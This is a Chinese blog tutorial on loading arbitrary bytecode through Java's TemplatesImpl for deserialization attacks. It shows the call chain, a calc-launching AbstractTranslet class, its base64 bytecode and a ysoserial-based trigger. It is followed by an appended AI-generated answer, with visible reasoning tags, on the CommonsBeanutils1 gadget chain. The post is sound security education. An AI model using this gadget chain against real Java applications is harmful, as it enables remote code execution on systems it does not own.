利用TemplatesImpl加载字节码

文章深入探讨了Java中的TemplatesImpl类和TransletClassLoader的defineClass方法,详细解析了方法的作用域变化以及如何通过TemplatesImpl的getTransletInstance()和newTransformer()方法调用链来触发defineClass。同时,文章介绍了如何利用ysoserial工具设置私有属性来构造恶意字节码,执行自定义行为,如弹出计算器,展示了潜在的安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、TemplatesImpl

虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它(否则他 也没存在的价值了对吧),这就是TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类 TransletClassLoader
这个类里重写了defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default,为包作用域, 即可以在同一个包内被调用 。所以也就是说这里的defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。

二、调用分析

我们从TransletClassLoader#defineClass() 向前追溯一下调用链:
  • TemplatesImpl 类中只有一个方法 TemplatesImpl#defineTransletClasses 用到了 TransletClassLoader 类,但是 TemplatesImpl#defineTransletClasses 是 private 类型。继续跟看哪调用了 TemplatesImpl#defineTransletClasses 方法。
  • 有三个方法调用了 TemplatesImpl#defineTransletClasses(), 其中 TemplatesImpl#getTransletIndex() 是 public 类型的TemplatesImpl#getTransletClasses() 和 TemplatesImpl#getTransletInstance() 是 private 属性的
public synchronized int getTransletIndex()            //直接调用发现没有成功
private synchronized Class[] getTransletClasses()
private Translet getTransletInstance()
这里可以尝试直接用 TemplatesImpl#getTransletIndex(),那么调用链如下:但是发现并没有成功。
TemplatesImpl#getTransletIndex() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#defineTransletClasses() -> defineClass
  • 继续跟 TemplatesImpl#getTransletClasses() 和 TemplatesImpl#getTransletInstance(), TemplatesImpl 类中已经没有调用 getTransletClasses() 的方法了,而 getTransletInstance() 方法在 public synchronized Transformer newTransformer 方法中被调用了,所以构造如下链,P牛用的就是如下的链。
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()  
  • 再继续跟进 TemplatesImpl#newTransformer() 发现 TemplatesImpl#getOutputProperties() 调用了 TemplatesImpl#newTransformer() 并且它也是 public 类型的,如下也成功触发。(这一利用链也正好符合了fastjson的利用条件)
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

三、利用分析:

1.setFieldValue 方法是ysoserial中用来设置私有属性的
  • _bytecodes 是由字节码组成的数组;
  • _name 可以是任意字符串,只要不为null即可;
  • _tfactory 需要是一个TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错。
2.TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
  • 例如如下代码中继承了AbstractTranslet。
  • 构造函数中执行calc弹出计算器。
package com.TemplastesImplTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class codeTest extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public codeTest() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}
  • 进行base64编码
  • 替换到图下code对象代码中,执行即可弹出计算器
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.util.Base64;
import static ysoserial.payloads.util.Reflections.setFieldValue;

public class TemplatesTest {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}
参考:
<think>好的,我现在需要回答用户关于Payload在Apache Commons Beanutils1中的作用及实现方式的问题。首先,用户提到可能涉及漏洞利用或工作原理,所以我应该先了解Commons Beanutils1相关的漏洞背景。 首先,我记得Commons Beanutils是一个处理JavaBean的工具库,它允许通过属性名动态访问getter和setter方法。用户提供的引用[3]中提到,PropertyUtils.getProperty可以自动调用getter方法,这可能被恶意利用。比如,在反序列化漏洞中,攻击者可能构造特定的对象链(Gadget Chain),利用Beanutils的方法执行任意代码。 接下来,我需要确定Payload在CommonsBeanutils1中的具体作用。Payload通常指攻击中携带的恶意代码或数据。在这里,可能是指利用Beanutils库的反序列化漏洞来执行命令的Payload。例如,在CB1利用链中,攻击者可能通过精心构造的Java对象,触发Beanutils的方法调用,最终执行系统命令。 然后,实现方式方面,需要结合漏洞利用链。根据引用[3],CB1链可能利用PropertyUtils.getProperty来调用任意getter方法。如果某个的getter方法有危险操作,比如通过Runtime.exec执行命令,攻击者就可以构造对象,让反序列化过程中触发这些方法。例如,构造一个TemplatesImpl对象,其getOutputProperties方法会被调用,进而执行恶意字节码。 另外,可能需要用到其他库的来形成完整的利用链,比如结合Commons Collections的Transformer链,因为Beanutils本身可能没有直接执行命令的方法,但结合其他库可以实现。例如,使用InvokerTransformer来反射调用方法,如Runtime.exec。 用户提供的引用[1]、[2]、[3]都提到了Beanutils的PropertyUtils,特别是动态调用getter方法,这应该是漏洞的关键点。引用[4]提到的Apache Commons Text虽然相关,但可能不直接涉及此漏洞,不过需要确认是否有其他关联。 最后,我需要确保回答结构清晰,分点说明作用和实现方式,并引用提供的资料。同时生成相关问题,帮助用户深入理解。</think>### Payload在Apache Commons Beanutils 1中的作用及实现方式 #### 作用 在漏洞利用中,**Payload**通常指通过构造特定数据触发漏洞的恶意代码或指令。对于`CommonsBeanutils1`(CB1)利用链,其核心作用是**利用Java反序列化漏洞,通过动态调用JavaBean的getter方法实现任意代码执行**。例如,通过`PropertyUtils.getProperty`方法触发恶意的属性读取,最终执行系统命令或加载远程代码[^3]。 #### 实现方式 1. **动态属性调用** `Commons Beanutils`提供`PropertyUtils.getProperty`方法,可自动调用JavaBean中与属性名对应的getter方法。例如,若对象有属性`name`,该方法会调用`getName()`[^3]。攻击者可构造恶意对象,将属性指向危险方法(如`Runtime.exec`)。 2. **Gadget链构造** CB1链通常需要结合其他库(如`Commons-Collections`)的形成完整的利用链。例如: - 利用`InvokerTransformer`通过反射调用任意方法。 - 通过`TemplatesImpl`加载恶意字节码,触发`getOutputProperties()`方法。 3. **反序列化触发** 攻击者将构造的恶意对象序列化后发送给目标。当目标应用反序列化该数据时,会逐层调用Gadget链中的方法,最终执行Payload中的代码。 #### 示例简化模型 ```java // 伪代码:恶意对象构造 恶意 { private Runnable payload = () -> Runtime.getRuntime().exec("calc.exe"); public Runnable getPayload() { return this.payload; } // 触发时执行命令 } // 通过PropertyUtils.getProperty(obj, "payload")触发getPayload() ``` #### 防御建议 - 升级`Commons Beanutils`至安全版本(如1.9.4+)。 - 禁用不必要的反序列化功能,或使用白名单校验反序列化。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值